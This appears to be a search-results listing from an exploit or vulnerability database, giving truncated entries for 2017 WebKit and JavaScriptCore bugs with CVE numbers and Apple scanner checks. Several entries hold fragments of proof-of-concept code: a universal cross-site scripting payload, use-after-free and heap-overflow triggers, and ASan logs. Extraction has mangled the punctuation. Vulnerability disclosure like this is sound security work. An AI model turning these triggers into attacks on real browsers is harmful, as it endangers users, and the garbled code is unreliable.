16465 matches found
WebKit WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free
WebKit: use-after-free in WebCore::AccessibilityRenderObject::handleAriaExpandedChanged CVE-2017-7043 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigge...
WebKit WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow
WebKit: heap-buffer-overflow in WebCore::RenderSearchField::addSearchResult CVE-2017-7049 There is a heap buffer overflow in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function go i.value = "1";...
Apple iTunes < 12.6.2 Multiple Vulnerabilities (credentialed check)
The version of Apple iTunes installed on the remote Windows host is prior to 12.6.2. It is, therefore, affected by multiple vulnerabilities : - Multiple out-of-bounds read errors exist in the libxml2 component due to improper handling of specially crafted XML documents. An unauthenticated, remote...
WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling Vulnerability
WebKit JSC suffers from incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform. WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform CVE-2017-7056 Here is a snippet of ArgumentsEliminationPhase::transform case LoadVarargs: ... if candidate-op ==...
WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS Vulnerability
WebKit JSC JSObject::putInlineSlow and JSValue::putToPrimitive suffer from a universal cross site scripting vulnerability. WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive CVE-2017-7037 JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of...
WebKit JSC - ObjectPatternNode::appendEntry Stack Use-After-Free
WebKit JSC - ObjectPatternNode::appendEntry Stack Use-After-Free Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256 Here's a snippet of ObjectPatternNode::appendEntry. void appendEntryconst JSTokenLocation&, ExpressionNode propertyExpression, DestructuringPatternNode pattern,...
Apple iOS < 10.3.3 Multiple Vulnerabilities
Binary data appleios1033check.nbin...
WebKit JSC - 'JSObject::putInlineSlow' / 'JSValue::putToPrimitive' Universal Cross-Site Scripting
let f = document.body.appendChilddocument.createElement'iframe'; let loc = f.contentWindow.location; f.onload = = let a = 1.2; a.proto.proto = f.contentWindow; a'test' = toString: function arguments.callee.caller.constructor'alertlocation'; ; ; f.src = 'data:text/html,' +...
WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling
scopeRegister; mcodeBlock| instead of |mcodeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry-mcodeBlock| may have an incorrect offset in the stack layout phase. PoC: -- function f function eval'1'; f; ; throw 1; f;...
WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy
indexingType; if type == ArrayWithUndecided && copyType != NonArray if copyType == ArrayWithInt32 convertUndecidedToInt32vm; else if copyType == ArrayWithDouble convertUndecidedToDoublevm; else if copyType == ArrayWithContiguous convertUndecidedToContiguousvm; else ASSERTcopyType ==...
WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256 Here's a snippet of ObjectPatternNode::appendEntry. void appendEntryconst JSTokenLocation&, ExpressionNode propertyExpression, DestructuringPatternNode pattern, ExpressionNode defaultValue, BindingType bindingType...
WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling
op == PhantomNewArrayWithSpread || candidate-op == PhantomSpread ... if argumentCountIncludingThis limit storeArgumentCountIncludingThisargumentCountIncludingThis; // store arguments ... node-remove; node-origin.exitOK = canExit; break; Whether or not the "argumentCountIncludingThis limit"...
WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference
lexicalGlobalObject-arrayStructureForIndexingTypeDuringAllocationArrayWithUndecided, actualDeleteCount; if UNLIKELY!result throwOutOfMemoryErrorexec, scope; return encodedJSValue; // The result can have an ArrayStorage indexing type if we're having a bad time. bool isArrayStorage =...
WebKit - WebCore::Node::nextSibling Use-After-Free Exploit
Exploit for multiple platform in category dos / poc function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29516==ERROR: AddressSanitizer: heap-use-after-free on...
WebKit - WebCore::Node::nextSibling Use-After-Free
WebKit - WebCore::Node::nextSibling Use-After-Free function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29516==ERROR: AddressSanitizer: heap-use-after-free on...
WebKit - WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free
WebKit - WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free function go li.hidden = true; dir.setAttribute"aria-labeledby", "map"; !-- ================================================================= ASan log: =================================================================...
WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow
WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...
WebKit - WebCore::RenderObject with Accessibility Enabled Use-After-Free
WebKit - WebCore::RenderObject with Accessibility Enabled Use-After-Free link text-transform: lowercase; link::first-letter border-spacing: 1em; function go dt.appendChildlink; var s = link.style; s.setProperty"display", "table-column-group"; s.setProperty"-webkit-appearance", "menulist-button";...
WebKit - WebCore::InputType::element Use-After-Free (1)
WebKit - WebCore::InputType::element Use-After-Free 1 var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...